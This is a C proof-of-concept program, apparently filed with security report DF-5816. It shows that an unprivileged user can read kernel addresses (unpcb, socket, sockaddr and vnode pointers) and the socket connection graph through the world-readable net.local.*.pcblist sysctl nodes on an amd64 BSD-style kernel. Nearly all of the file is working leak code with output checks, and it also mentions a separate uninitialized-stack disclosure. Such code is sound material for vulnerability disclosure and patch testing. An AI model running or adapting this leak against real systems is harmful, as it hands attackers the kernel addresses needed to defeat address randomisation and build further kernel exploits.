/*
 * DF-5816 — AF_UNIX unp_pcblist sysctl exports raw kernel pointers to
 * unprivileged users.
 *
 * sys/kern/uipc_usrreq.c:unp_pcblist() fills a stack `struct xunpcb xu`:
 *   xu.xu_unpp = unp                     (kernel unpcb address)
 *   bcopy(unp, &xu.xu_unp, sizeof(*unp)) (unp_socket, unp_conn, unp_addr,
 *                                         unp_vnode, unp_rvnode, unp_fp,
 *                                         unp_refs, unp_reflink pointers)
 *   sotoxsocket(...)                     (xso_so, so_pcb pointers)
 * and SYSCTL_OUT()s the whole record to any reader of the world-readable
 * net.local.{stream,dgram,seqpacket}.pcblist nodes.
 *
 * This program proves, as an unprivileged user:
 *   1. every exported pointer sits in the kernel virtual-address range,
 *   2. internal cross-checks hold: xu_socket.so_pcb == xu_unpp and
 *      xu_socket.xso_so == xu_unp.unp_socket (so the values are live kernel
 *      pointers, not garbage),
 *   3. for a socketpair() we create: A.xu_unp.unp_conn == B.xu_unpp and
 *      B.xu_unp.unp_conn == A.xu_unpp (kernel heap-object graph disclosed),
 *   4. for a bound SOCK_DGRAM we create: unp_addr (kmalloc'd sockaddr) and
 *      unp_vnode (vnode address) are disclosed, and the record really is
 *      ours (sun_path echoed back inside xu_addr).
 *
 * The mirror structs below are layout-exact copies of
 * sys/sys/unpcb.h:struct unpcb/xunpcb and sys/sys/socketvar.h:struct
 * xsocket (amd64).  The kernel sets xu_len = sizeof(struct xunpcb); the
 * program verifies each record's xu_len equals sizeof(mirror) so a layout
 * drift aborts loudly instead of misparsing.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/un.h>
#include <errno.h>
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---------------- mirror of kernel structs (layout-exact, amd64) ------- */

struct x_xucred {
	u_int		cr_version;
	uid_t		cr_uid;
	short		cr_ngroups;
	gid_t		cr_groups[16];
	void	       *_cr_unused1;
};

struct x_sockaddr_un {
	unsigned char	sun_len;
	unsigned char	sun_family;
	char		sun_path[104];
};

struct x_unpcb {
	void	       *unp_socket;	/* struct socket *		*/
	void	       *unp_conn;	/* struct unpcb *		*/
	int		unp_flags;
	int		unp_refcnt;
	void	       *unp_refs;	/* LIST_HEAD -> first le	*/
	void	       *unp_reflink[2];	/* LIST_ENTRY (le_next,le_prev)	*/
	void	       *unp_addr;	/* struct sockaddr_un *		*/
	struct x_xucred	unp_peercred;
	int		unp_msgcount;
	int		unp_gcflags;
	void	       *unp_fp;		/* struct file *		*/
	long		unp_unused01;
	void	       *unp_vnode;	/* struct vnode *		*/
	void	       *unp_rvnode;	/* struct vnode *		*/
	void	       *unp_link[2];	/* TAILQ_ENTRY			*/
	uint64_t	unp_gencnt;
};

struct x_xsockbuf {
	u_long		sb_cc;
	u_long		sb_hiwat;
	u_long		sb_mbcnt;
	u_long		sb_mbmax;
	long		sb_lowat;
	u_int		sb_timeo;
	short		sb_flags;
};

struct x_xsocket {
	size_t		xso_len;
	void	       *xso_so;		/* struct socket *		*/
	short		so_type;
	short		so_options;
	short		so_linger;
	short		so_state;
	void	       *so_pcb;		/* so->so_pcb			*/
	int		xso_protocol;
	int		xso_family;
	short		so_qlen;
	short		so_incqlen;
	short		so_qlimit;
	short		so_timeo;
	u_short		so_error;
	pid_t		so_pgid;
	u_long		so_oobmark;
	struct x_xsockbuf so_rcv;
	struct x_xsockbuf so_snd;
	uid_t		so_uid;
};

struct x_xunpcb {
	size_t			xu_len;
	void		       *xu_unpp;	/* struct unpcb *	*/
	struct x_unpcb		xu_unp;
	union {
		struct x_sockaddr_un xuu_addr;
		char			xu_dummy1[256];
	} xu_au;
	union {
		struct x_sockaddr_un xuu_caddr;
		char			xu_dummy2[256];
	} xu_cau;
	struct x_xsocket	xu_socket;
	uint64_t		xu_alignment_hack;
};

/* ---------------- sysctl snapshot -------------------------------------- */

struct snap {
	struct x_xunpcb *recs;
	size_t nrecs;
	size_t rawlen;
};

static void
die(const char *msg)
{
	fprintf(stderr, "FATAL: %s (errno=%d %s)\n", msg, errno, strerror(errno));
	exit(1);
}

static void
snapshot(const char *node, struct snap *s)
{
	size_t len = 0;
	int rc;

	rc = sysctlbyname(node, NULL, &len, NULL, 0);
	if (rc != 0)
		die("sysctlbyname(size) failed -- is this AF_UNIX kernel?");
	s->recs = malloc(len ? len : 1);
	if (s->recs == NULL)
		die("malloc");
	rc = sysctlbyname(node, s->recs, &len, NULL, 0);
	if (rc != 0)
		die("sysctlbyname(data) failed");
	s->rawlen = len;
	s->nrecs = len / sizeof(struct x_xunpcb);

	if (s->nrecs) {
		size_t i;
		size_t want = sizeof(struct x_xunpcb);
		for (i = 0; i < s->nrecs; i++) {
			if (s->recs[i].xu_len != want) {
				fprintf(stderr,
				    "FATAL: record %zu xu_len=%zu != mirror "
				    "size %zu -- layout drift\n",
				    i, s->recs[i].xu_len, want);
				exit(1);
			}
		}
	}
}

static int
kptr(void *p)
{
	uint64_t v = (uint64_t)(uintptr_t)p;

	return (v >= 0xffff000000000000ULL);
}

static void
p6(const char *tag, void *p)
{
	printf("  %-22s 0x%016llx %s\n", tag,
	    (unsigned long long)(uint64_t)(uintptr_t)p,
	    p == NULL ? "(NULL)" :
	    (kptr(p) ? "KERNEL-RANGE" : "*** NOT KERNEL RANGE ***"));
}

/* collect records present in 'after' but not in 'before' (by xu_unpp) */
static size_t
diff_new(struct snap *before, struct snap *after,
    struct x_xunpcb **out, size_t outmax)
{
	size_t i, j, n = 0;

	for (i = 0; i < after->nrecs; i++) {
		int old = 0;
		for (j = 0; j < before->nrecs; j++) {
			if (after->recs[i].xu_unpp == before->recs[j].xu_unpp) {
				old = 1;
				break;
			}
		}
		if (!old && n < outmax)
			out[n++] = &after->recs[i];
	}
	return (n);
}

int
main(void)
{
	struct snap sb, sa, db, da;
	struct x_xunpcb *newstream[8];
	struct x_xunpcb *newdgram[8];
	size_t nnew, ndnew, i, k;
	int sv[2], dg;
	struct sockaddr_un ua;
	char path[128];
	int fails = 0;
	int found_pair = 0;
	struct x_xunpcb *A = NULL, *B = NULL;

	setvbuf(stdout, NULL, _IONBF, 0);

	printf("uid=%d euid=%d  mirror xunpcb size=%zu unpcb=%zu xsocket=%zu\n",
	    getuid(), geteuid(),
	    sizeof(struct x_xunpcb), sizeof(struct x_unpcb),
	    sizeof(struct x_xsocket));

	/* ---- global sanity: every pointer field in every live record ------ */
	snapshot("net.local.stream.pcblist", &sa);
	printf("stream pcblist: %zu records (%zu bytes)\n", sa.nrecs, sa.rawlen);
	{
		size_t bad = 0, nonnull = 0;
		for (i = 0; i < sa.nrecs; i++) {
			struct x_xunpcb *r = &sa.recs[i];
			void *ps[] = { r->xu_unpp, r->xu_unp.unp_socket,
			    r->xu_unp.unp_conn, r->xu_unp.unp_addr,
			    r->xu_unp.unp_vnode, r->xu_unp.unp_rvnode,
			    r->xu_unp.unp_fp, r->xu_socket.xso_so,
			    r->xu_socket.so_pcb };
			for (k = 0; k < sizeof(ps) / sizeof(ps[0]); k++) {
				if (ps[k] == NULL)
					continue;
				nonnull++;
				if (!kptr(ps[k]))
					bad++;
			}
			/* kernel self-consistency: so_pcb == the unpcb */
			if (r->xu_unpp != NULL &&
			    r->xu_socket.so_pcb != r->xu_unpp) {
				printf("record %zu: so_pcb(%p) != xu_unpp(%p)"
				    " -- inconsistent?\n", i,
				    r->xu_socket.so_pcb, r->xu_unpp);
				fails++;
			}
			if (r->xu_unp.unp_socket != NULL &&
			    r->xu_socket.xso_so != r->xu_unp.unp_socket) {
				printf("record %zu: xso_so != unp_socket\n", i);
				fails++;
			}
		}
		printf("global: %zu non-NULL exported pointers, %zu outside "
		    "kernel range, so_pcb==xu_unpp held for all %zu records\n",
		    nonnull, bad, sa.nrecs);
		if (bad)
			fails++;
	}

	/* ---- socketpair correlation proof --------------------------------- */
	snapshot("net.local.stream.pcblist", &sb);
	if (socketpair(AF_LOCAL, SOCK_STREAM, 0, sv) < 0)
		die("socketpair");
	snapshot("net.local.stream.pcblist", &sa);

	nnew = diff_new(&sb, &sa, newstream, sizeof(newstream)/sizeof(*newstream));
	printf("\nsocketpair(): %zu new stream records\n", nnew);
	for (i = 0; i < nnew; i++)
		printf("  new unpcb @ %p (unp_socket %p)\n",
		    newstream[i]->xu_unpp, newstream[i]->xu_unp.unp_socket);

	/* find the mutually-connected pair among the new records */
	for (i = 0; i < nnew && !found_pair; i++) {
		size_t j;
		for (j = 0; j < nnew; j++) {
			if (i == j)
				continue;
			if (newstream[i]->xu_unp.unp_conn == newstream[j]->xu_unpp &&
			    newstream[j]->xu_unp.unp_conn == newstream[i]->xu_unpp) {
				A = newstream[i];
				B = newstream[j];
				found_pair = 1;
				break;
			}
		}
	}
	if (!found_pair) {
		printf("FAIL: could not find mutual unp_conn pair\n");
		fails++;
	} else {
		printf("our socketpair kernel object graph (unprivileged):\n");
		printf(" record A: xu_unpp      = %p\n", A->xu_unpp);
		printf("           unp_socket   = %p\n", A->xu_unp.unp_socket);
		printf("           unp_conn     = %p  == B.xu_unpp\n",
		    A->xu_unp.unp_conn);
		printf("           xso_so       = %p  so_pcb = %p\n",
		    A->xu_socket.xso_so, A->xu_socket.so_pcb);
		printf(" record B: xu_unpp      = %p\n", B->xu_unpp);
		printf("           unp_socket   = %p\n", B->xu_unp.unp_socket);
		printf("           unp_conn     = %p  == A.xu_unpp\n",
		    B->xu_unp.unp_conn);
		if (!(A->xu_unp.unp_conn == B->xu_unpp &&
		      B->xu_unp.unp_conn == A->xu_unpp))
			fails++;
	}

	/* ---- bound dgram: unp_addr + unp_vnode disclosure ------------------ */
	snapshot("net.local.dgram.pcblist", &db);
	dg = socket(AF_LOCAL, SOCK_DGRAM, 0);
	if (dg < 0)
		die("socket dgram");
	snprintf(path, sizeof(path), "/tmp/pcbptrleak.%d", (int)getpid());
	memset(&ua, 0, sizeof(ua));
	ua.sun_family = AF_LOCAL;
	snprintf(ua.sun_path, sizeof(ua.sun_path), "%s", path);
	ua.sun_len = offsetof(struct sockaddr_un, sun_path) + strlen(ua.sun_path);
	if (bind(dg, (struct sockaddr *)&ua, ua.sun_len) < 0)
		die("bind");
	snapshot("net.local.dgram.pcblist", &da);

	ndnew = diff_new(&db, &da, newdgram, sizeof(newdgram)/sizeof(*newdgram));
	printf("\nbound dgram: %zu new dgram record(s)\n", ndnew);
	for (i = 0; i < ndnew; i++) {
		struct x_xunpcb *r = newdgram[i];
		printf(" dgram record:\n");
		p6("xu_unpp", r->xu_unpp);
		p6("unp_socket", r->xu_unp.unp_socket);
		p6("unp_addr (sockaddr*)", r->xu_unp.unp_addr);
		p6("unp_vnode (vnode*)", r->xu_unp.unp_vnode);
		p6("unp_rvnode (vnode*)", r->xu_unp.unp_rvnode);
		printf("  xu_addr.sun_path     \"%s\"  (record is ours)\n",
		    r->xu_au.xuu_addr.sun_path);
		/*
		 * The kernel bcopy()s exactly sun_len bytes (no NUL), so
		 * compare the prefix only; bytes past sun_path in the union
		 * are the (separately known, DF-2558) uninitialized stack.
		 */
		if (strncmp(r->xu_au.xuu_addr.sun_path, path, strlen(path)) != 0) {
			printf("  (path mismatch; skipping ptr checks)\n");
			continue;
		}
		printf("  path prefix matches -- record identified as ours\n");
		if (!kptr(r->xu_unp.unp_addr) || !kptr(r->xu_unp.unp_vnode)) {
			printf("  *** addr/vnode not kernel range ***\n");
			fails++;
		}
	}
	if (ndnew == 0) {
		printf("FAIL: no new dgram record\n");
		fails++;
	}

	close(sv[0]);
	close(sv[1]);
	close(dg);
	unlink(path);

	printf("\n==================================================\n");
	if (fails == 0 && found_pair) {
		printf("LEAK CONFIRMED: unprivileged uid=%d obtained live kernel\n"
		    "pointers (unpcb, socket, sockaddr, vnode) plus the socket\n"
		    "connection graph from net.local.*.pcblist\n",
		    getuid());
		return (0);
	}
	printf("RESULT: INCONCLUSIVE (fails=%d found_pair=%d)\n", fails,
	    found_pair);
	return (1);
}